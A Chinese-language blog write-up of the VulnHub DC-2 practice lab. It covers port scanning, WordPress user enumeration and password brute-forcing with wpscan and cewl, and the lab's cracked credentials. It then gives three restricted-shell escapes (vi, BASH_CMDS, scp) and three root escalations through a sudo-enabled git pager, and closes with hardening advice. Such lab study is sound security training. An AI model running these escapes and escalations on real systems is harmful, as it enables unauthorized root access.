尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
DC-2 靶场渗透:rbash 环境绕过与 Git SUID 提权的 3 种实战方法对比
DC-2 靶场渗透rbash 环境绕过与 Git SUID 提权的 3 种实战方法对比在渗透测试的实战演练中受限环境Restricted Shell简称rbash和特权提升Privilege Escalation是安全研究人员常遇到的技术难点。本文将以VulnHub的DC-2靶场为例深入剖析rbash环境的突破技巧并对比分析三种不同的Git SUID提权方法帮助读者掌握这些关键技术的核心原理和实战应用。1. 靶场环境与初始信息收集DC-2是一个专为渗透测试初学者设计的虚拟靶机包含五个需要获取的标志flag。与DC-1类似它要求使用者具备基本的Linux命令行操作能力和渗透测试工具使用经验。关键发现步骤主机发现与端口扫描nmap -sS -T5 -sC -p- --min-rate 10000 192.168.52.131参数说明-sS: SYN扫描半开放扫描-T5: 极速扫描模式-p-: 扫描所有端口1-65535--min-rate 10000: 每秒至少发送10000个探测包Web服务探测发现80端口运行WordPress站点需修改本地hosts文件添加DNS解析echo 192.168.52.131 dc-2 /etc/hosts用户枚举与密码爆破使用wpscan进行WordPress用户枚举和密码爆破wpscan --url http://dc-2/ -e u # 枚举用户 cewl http://dc-2/ passwords.txt # 生成自定义字典 wpscan --url http://dc-2/ -U users.txt -P passwords.txt # 密码爆破获取有效凭证tom/parturientjerry/adipiscing2. rbash受限环境突破技术通过SSH登录tom用户端口7744后发现处于rbash受限环境。rbash是受限的Bash shell对用户操作有多重限制禁止使用cd命令改变目录禁止修改PATH环境变量禁止执行包含/或-参数的命令禁止使用重定向操作符三种有效的rbash绕过方法方法1Vi编辑器逃逸vi :set shell/bin/bash :shell原理分析Vi编辑器允许在命令模式下执行shell命令。通过修改shell环境变量并启动新shell可以绕过rbash的限制。方法2环境变量重定义BASH_CMDS[a]/bin/sh;a export PATH$PATH:/bin/ export PATH$PATH:/usr/bin技术细节BASH_CMDS是Bash内部变量数组直接赋值可绕过rbash对命令执行的限制扩展PATH变量恢复常用命令路径方法3SCP文件传输绕过# 在攻击机上 scp -P 7744 /bin/sh tomdc-2:/tmp/ # 在靶机上执行 /tmp/sh适用场景当vi不可用且环境变量修改被禁止时可通过文件传输引入新的shell环境。rbash绕过决策树条件判断推荐方法成功率复杂度vi可用方法1高低echo可用方法2中中只有基本命令方法3低高3. Git SUID提权技术详解在获取jerry用户权限后通过sudo -l发现可以无需密码执行git命令。Git的SUID权限为我们提供了提权机会。方法1help config提权sudo git help config在末行命令模式输入!/bin/bash原理剖析Git help会调用默认分页程序通常是less而!在分页程序中用于执行shell命令此时会继承sudo的root权限。方法2-p参数提权sudo git -p help同样输入!/bin/bash技术差异-p参数强制Git使用分页程序即使输出很短也会进入交互模式提高了提权成功率。方法3交互式命令注入sudo git -c core.pager/bin/sh help创新技巧通过-c参数直接指定分页程序为shell无需手动输入!命令。Git提权方法对比表方法成功率依赖条件隐蔽性适用版本help config高默认分页程序中全版本-p help高分页程序支持中Git 1.8-c参数注入中Git配置权限高Git 2.04. 防御措施与加固建议针对本文涉及的攻击技术系统管理员可采取以下防护措施rbash防护增强限制敏感环境变量修改禁用危险编辑器功能# /etc/profile加固示例 export RESTRICTED_SHELLyes alias vivi -Z # 受限模式Git权限控制精确控制sudo权限# /etc/sudoers安全配置 Cmnd_Alias GIT_CMDS /usr/bin/git status, /usr/bin/git pull %developers ALL(ALL) NOPASSWD: GIT_CMDS系统级防护定期审计SUID/SGID文件find / -perm -4000 -o -perm -2000 -type f -exec ls -la {} \;启用SELinux/AppArmor通过本文的技术分析和实战演示我们不仅掌握了DC-2靶场的完整渗透流程更深入理解了rbash绕过和Git提权的多种技术方案及其适用场景。这些技术在真实渗透测试和红队评估中具有重要价值同时也提醒我们系统安全配置的重要性。
RELATED

相关推荐

网络工程师的 5 种 IP 切换方案对比:从 netsh 到 PowerShell 再到第三方工具

网络工程师的 5 种 IP 切换方案对比:从 netsh 到 PowerShell 再到第三方工具

网络工程师必备:5种高效IP切换方案深度评测与实战指南在复杂的网络环境中,频繁切换IP地址是网络工程师和系统管理员的日常工作痛点。无论是多设备测试、跨区域网络调试还是安全策略切换,快速可靠的IP变更能力直接影响工作效率。本文将系统评测…

📅 2026/8/26 16:17:26
AI工程师转型路径07-非技术背景转型路线图(上)——零代码AI入门指南:用ChatGPT+Midjourney,3个月从门外汉到能落地

AI工程师转型路径07-非技术背景转型路线图(上)——零代码AI入门指南:用ChatGPT+Midjourney,3个月从门外汉到能落地

1、AI程序员系列文章 2、AI面试系列文章 3、AI编程系列文章 📑 目录 一、先说结论:非技术背景做AI,最大的坑不是不会写代码 二、Month 1:工具认知——打开新世界的大门,然后别被吓跑 2.1 第一周:三把瑞士…

📅 2026/8/24 8:24:22
DevEco Code 的 Plan+Build 模式:审方案再执行的开发新范式

DevEco Code 的 Plan+Build 模式:审方案再执行的开发新范式

引言:从“边写边想”到“先谋后动” 传统开发痛点:在 HarmonyOS 应用开发中,开发者常面临“边写边想”的困境,导致代码结构混乱、逻辑反复修改、效率低下。PlanBuild 模式的价值:DevEco Code 引入的 PlanBuild 模式&a…

📅 2026/9/7 23:34:11
MORE NEWS

更多资讯

📰

TypeSpec OpenAPI3 数据模型指南:ExternalDocs 与 TagMetadata 类型详解

TypeSpec OpenAPI3 数据模型指南:ExternalDocs 与 TagMetadata 类型详解 【免费下载链接】typespec 项目地址: https://gitcode.com/GitHub_Trending/ty/typespec 导读 TypeSpec 编译器在将服务定义发射为 OpenAPI 3 文档时,会用到一套预定义的…

📰

前端接口抓取与Mock数据实战:Network面板、跨域代理和分页鉴权

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

产线调试与工控经验谈:从伺服干扰排查到国产化平台应用

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

FPGA竞赛备赛全攻略:从选题到调试到现场演示的完整时间表

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

VMware嵌套虚拟化开启指南:解决Docker/K8s报错

1. 为什么在 VMware 虚拟机里还要“再开一次虚拟化”?——这不是套娃,是嵌套虚拟化的刚需你刚在 Windows 主机上装好 VMware Workstation Pro,新建了一台 Ubuntu 虚拟机,想在里面跑 Docker Desktop 或者 Kubernetes Minikube&…

📰

发动机试验台架方案:物理-数字映射与动态验证闭环

简介:本资源是一份完整的柴油发动机试验台架技术方案文档,面向汽车工程、动力机械及测试计量领域的工程师、高校教师与研究生,解决发动机出厂测试系统设计与实验室建设中的核心工程问题。方案涵盖试验室规划(供电/气、冷却水、通风…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬